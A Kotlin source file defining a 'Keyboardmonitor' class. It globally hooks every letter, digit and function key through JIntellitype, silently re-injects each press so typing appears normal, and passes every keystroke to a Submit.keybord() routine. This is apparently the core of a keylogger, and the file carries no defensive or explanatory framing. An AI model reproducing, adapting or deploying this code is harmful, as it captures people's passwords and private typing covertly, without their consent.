package Core

import Native.NativeKeyboard
import Request.Submit
import com.melloware.jintellitype.HotkeyListener
import com.melloware.jintellitype.JIntellitype

import java.awt.event.KeyEvent
import java.net.Socket

class Keyboardmonitor() {
    private var hotkeyListener: HotkeyListener? = null
    fun addKey() {
        /**
         * A-Z
         */
        JIntellitype.getInstance().registerHotKey(1, 0, 'A'.toInt())
        JIntellitype.getInstance().registerHotKey(2, 0, 'B'.toInt())
        JIntellitype.getInstance().registerHotKey(3, 0, 'C'.toInt())
        JIntellitype.getInstance().registerHotKey(4, 0, 'D'.toInt())
        JIntellitype.getInstance().registerHotKey(5, 0, 'E'.toInt())
        JIntellitype.getInstance().registerHotKey(6, 0, 'F'.toInt())
        JIntellitype.getInstance().registerHotKey(7, 0, 'G'.toInt())
        JIntellitype.getInstance().registerHotKey(8, 0, 'H'.toInt())
        JIntellitype.getInstance().registerHotKey(9, 0, 'I'.toInt())
        JIntellitype.getInstance().registerHotKey(10, 0, 'J'.toInt())
        JIntellitype.getInstance().registerHotKey(11, 0, 'K'.toInt())
        JIntellitype.getInstance().registerHotKey(12, 0, 'L'.toInt())
        JIntellitype.getInstance().registerHotKey(13, 0, 'M'.toInt())
        JIntellitype.getInstance().registerHotKey(14, 0, 'N'.toInt())
        JIntellitype.getInstance().registerHotKey(15, 0, 'O'.toInt())
        JIntellitype.getInstance().registerHotKey(16, 0, 'P'.toInt())
        JIntellitype.getInstance().registerHotKey(17, 0, 'Q'.toInt())
        JIntellitype.getInstance().registerHotKey(18, 0, 'R'.toInt())
        JIntellitype.getInstance().registerHotKey(19, 0, 'S'.toInt())
        JIntellitype.getInstance().registerHotKey(20, 0, 'T'.toInt())
        JIntellitype.getInstance().registerHotKey(21, 0, 'U'.toInt())
        JIntellitype.getInstance().registerHotKey(22, 0, 'V'.toInt())
        JIntellitype.getInstance().registerHotKey(23, 0, 'W'.toInt())
        JIntellitype.getInstance().registerHotKey(24, 0, 'X'.toInt())
        JIntellitype.getInstance().registerHotKey(25, 0, 'Y'.toInt())
        JIntellitype.getInstance().registerHotKey(26, 0, 'Z'.toInt())
        /**
         * 0 >> 9
         */
        JIntellitype.getInstance().registerHotKey(27, 0, '0'.toInt())
        JIntellitype.getInstance().registerHotKey(28, 0, '1'.toInt())
        JIntellitype.getInstance().registerHotKey(29, 0, '2'.toInt())
        JIntellitype.getInstance().registerHotKey(30, 0, '3'.toInt())
        JIntellitype.getInstance().registerHotKey(31, 0, '4'.toInt())
        JIntellitype.getInstance().registerHotKey(32, 0, '5'.toInt())
        JIntellitype.getInstance().registerHotKey(33, 0, '6'.toInt())
        JIntellitype.getInstance().registerHotKey(34, 0, '7'.toInt())
        JIntellitype.getInstance().registerHotKey(35, 0, '8'.toInt())
        JIntellitype.getInstance().registerHotKey(36, 0, '9'.toInt())
        /**
         * F1 >> F12
         */
        JIntellitype.getInstance().registerHotKey(37, 0, 112)
        JIntellitype.getInstance().registerHotKey(38, 0, 113)
        JIntellitype.getInstance().registerHotKey(39, 0, 114)
        JIntellitype.getInstance().registerHotKey(40, 0, 115)
        JIntellitype.getInstance().registerHotKey(41, 0, 116)
        JIntellitype.getInstance().registerHotKey(42, 0, 117)
        JIntellitype.getInstance().registerHotKey(43, 0, 118)
        JIntellitype.getInstance().registerHotKey(44, 0, 119)
        JIntellitype.getInstance().registerHotKey(45, 0, 120)
        JIntellitype.getInstance().registerHotKey(46, 0, 121)
        JIntellitype.getInstance().registerHotKey(47, 0, 122)
        JIntellitype.getInstance().registerHotKey(48, 0, 123)
    }

    fun clearKey() {
        /**
         * A >> Z
         */
        JIntellitype.getInstance().unregisterHotKey(1)
        JIntellitype.getInstance().unregisterHotKey(2)
        JIntellitype.getInstance().unregisterHotKey(3)
        JIntellitype.getInstance().unregisterHotKey(4)
        JIntellitype.getInstance().unregisterHotKey(4)
        JIntellitype.getInstance().unregisterHotKey(5)
        JIntellitype.getInstance().unregisterHotKey(6)
        JIntellitype.getInstance().unregisterHotKey(7)
        JIntellitype.getInstance().unregisterHotKey(8)
        JIntellitype.getInstance().unregisterHotKey(9)
        JIntellitype.getInstance().unregisterHotKey(10)
        JIntellitype.getInstance().unregisterHotKey(11)
        JIntellitype.getInstance().unregisterHotKey(12)
        JIntellitype.getInstance().unregisterHotKey(13)
        JIntellitype.getInstance().unregisterHotKey(14)
        JIntellitype.getInstance().unregisterHotKey(15)
        JIntellitype.getInstance().unregisterHotKey(16)
        JIntellitype.getInstance().unregisterHotKey(17)
        JIntellitype.getInstance().unregisterHotKey(18)
        JIntellitype.getInstance().unregisterHotKey(19)
        JIntellitype.getInstance().unregisterHotKey(20)
        JIntellitype.getInstance().unregisterHotKey(21)
        JIntellitype.getInstance().unregisterHotKey(22)
        JIntellitype.getInstance().unregisterHotKey(23)
        JIntellitype.getInstance().unregisterHotKey(24)
        JIntellitype.getInstance().unregisterHotKey(25)
        JIntellitype.getInstance().unregisterHotKey(26)
        /**
         * 0-9
         */
        JIntellitype.getInstance().unregisterHotKey(27)
        JIntellitype.getInstance().unregisterHotKey(28)
        JIntellitype.getInstance().unregisterHotKey(29)
        JIntellitype.getInstance().unregisterHotKey(30)
        JIntellitype.getInstance().unregisterHotKey(31)
        JIntellitype.getInstance().unregisterHotKey(32)
        JIntellitype.getInstance().unregisterHotKey(33)
        JIntellitype.getInstance().unregisterHotKey(34)
        JIntellitype.getInstance().unregisterHotKey(35)
        JIntellitype.getInstance().unregisterHotKey(36)
        /**
         * F1 >> F12
         */
        JIntellitype.getInstance().unregisterHotKey(37)
        JIntellitype.getInstance().unregisterHotKey(38)
        JIntellitype.getInstance().unregisterHotKey(39)
        JIntellitype.getInstance().unregisterHotKey(40)
        JIntellitype.getInstance().unregisterHotKey(41)
        JIntellitype.getInstance().unregisterHotKey(42)
        JIntellitype.getInstance().unregisterHotKey(43)
        JIntellitype.getInstance().unregisterHotKey(44)
        JIntellitype.getInstance().unregisterHotKey(45)
        JIntellitype.getInstance().unregisterHotKey(46)
        JIntellitype.getInstance().unregisterHotKey(47)
        JIntellitype.getInstance().unregisterHotKey(48)
    }

    fun clearKeyEvent() {
        JIntellitype.getInstance().removeHotKeyListener(hotkeyListener)
    }

    fun addKeyEvent() {
        hotkeyListener = HotkeyListener { code ->
            when (code) {
                1 -> {
                    clearKey()
                    NativeKeyboard.VM_Keyborad.Insert('A'.toByte())
                    Submit.keybord("A")
                    addKey()
                }
                2 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.Insert('B'.toByte())
                    Submit.keybord("B")
                    addKey()
                }
                3 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.Insert('C'.toByte())
                    Submit.keybord("C")
                    addKey()
                }
                4 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.Insert('D'.toByte())
                    Submit.keybord("D")
                    addKey()
                }
                5 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.Insert('E'.toByte())
                    Submit.keybord("E")
                    addKey()
                }
                6 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.Insert('F'.toByte())
                    Submit.keybord("F")
                    addKey()
                }
                7 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.Insert('G'.toByte())
                    Submit.keybord("G")

                    addKey()
                }
                8 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.Insert('H'.toByte())
                    Submit.keybord("H")
                    addKey()
                }
                9 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.Insert('I'.toByte())
                    Submit.keybord("I")
                    addKey()
                }
                10 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.Insert('J'.toByte())
                    Submit.keybord("J")
                    addKey()
                }
                11 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.Insert('K'.toByte())
                    Submit.keybord("k")
                    addKey()
                }
                12 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.Insert('L'.toByte())
                    Submit.keybord("L")
                    addKey()
                }
                13 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.Insert('M'.toByte())
                    Submit.keybord("M")

                    addKey()
                }
                14 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.Insert('N'.toByte())
                    Submit.keybord("N")

                    addKey()
                }
                15 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.Insert('O'.toByte())
                    Submit.keybord("O")

                    addKey()
                }
                16 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.Insert('P'.toByte())
                    Submit.keybord("P")

                    addKey()
                }
                17 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.Insert('Q'.toByte())
                    Submit.keybord("Q")

                    addKey()
                }
                18 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.Insert('R'.toByte())
                    Submit.keybord("R")

                    addKey()
                }
                19 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.Insert('S'.toByte())
                    Submit.keybord("S")

                    addKey()
                }
                20 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.Insert('T'.toByte())
                    Submit.keybord("T")
                    addKey()
                }
                21 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.Insert('U'.toByte())
                    Submit.keybord("U")
                    addKey()
                }
                22 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.Insert('V'.toByte())
                    Submit.keybord("V")
                    addKey()
                }
                23 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.Insert('W'.toByte())
                    Submit.keybord("W")
                    addKey()
                }
                24 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.Insert('X'.toByte())
                    Submit.keybord("X")
                    addKey()
                }
                25 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.Insert('Y'.toByte())
                    Submit.keybord("Y")
                    addKey()
                }
                26 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.Insert('Z'.toByte())
                    Submit.keybord("Z")
                    addKey()
                }
                27 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.Insert('0'.toByte())
                    Submit.keybord("0")
                    addKey()
                }
                28 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.Insert('1'.toByte())
                    Submit.keybord("1")
                    addKey()
                }
                29 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.Insert('2'.toByte())
                    Submit.keybord("2")
                    addKey()
                }
                30 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.Insert('3'.toByte())
                    Submit.keybord("3")
                    addKey()
                }
                31 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.Insert('4'.toByte())
                    Submit.keybord("4")
                    addKey()
                }
                32 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.Insert('5'.toByte())
                    Submit.keybord("5")
                    addKey()
                }
                33 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.Insert('6'.toByte())
                    Submit.keybord("6")
                    addKey()
                }
                34 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.Insert('7'.toByte())
                    Submit.keybord("7")
                    addKey()
                }
                35 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.Insert('8'.toByte())
                    Submit.keybord("8")
                    addKey()
                }
                36 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.Insert('9'.toByte())
                    Submit.keybord("9")

                    addKey()
                }
                37 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.InnsertInt(KeyEvent.VK_F1)
                    Submit.keybord("F1")
                    addKey()
                }
                38 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.InnsertInt(KeyEvent.VK_F2)
                    Submit.keybord("F2")
                    addKey()
                }
                39 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.InnsertInt(KeyEvent.VK_F3)
                    Submit.keybord("F3")
                    addKey()
                }
                40 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.InnsertInt(KeyEvent.VK_F4)
                    Submit.keybord("F4")
                    addKey()
                }
                41 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.InnsertInt(KeyEvent.VK_F5)
                    Submit.keybord("F5")
                    addKey()
                }
                42 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.InnsertInt(KeyEvent.VK_F6)
                    Submit.keybord("F6")
                    addKey()
                }
                43 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.InnsertInt(KeyEvent.VK_F7)
                    Submit.keybord("F7")
                    addKey()
                }
                44 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.InnsertInt(KeyEvent.VK_F8)
                    Submit.keybord("F8")
                    addKey()
                }
                45 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.InnsertInt(KeyEvent.VK_F9)
                    Submit.keybord("F9")
                    addKey()
                }
                46 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.InnsertInt(KeyEvent.VK_F10)
                    Submit.keybord("F10")
                    addKey()
                }
                47 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.InnsertInt(KeyEvent.VK_F11)
                    Submit.keybord("F11")
                    addKey()
                }
                48 -> {
                    clearKey()
                      NativeKeyboard.VM_Keyborad.InnsertInt(KeyEvent.VK_F12)
                    Submit.keybord("F12")
                    addKey()
                }
            }
        }
        JIntellitype.getInstance().addHotKeyListener(hotkeyListener)
    }

    init {
        addKey()
        addKeyEvent()
    }
}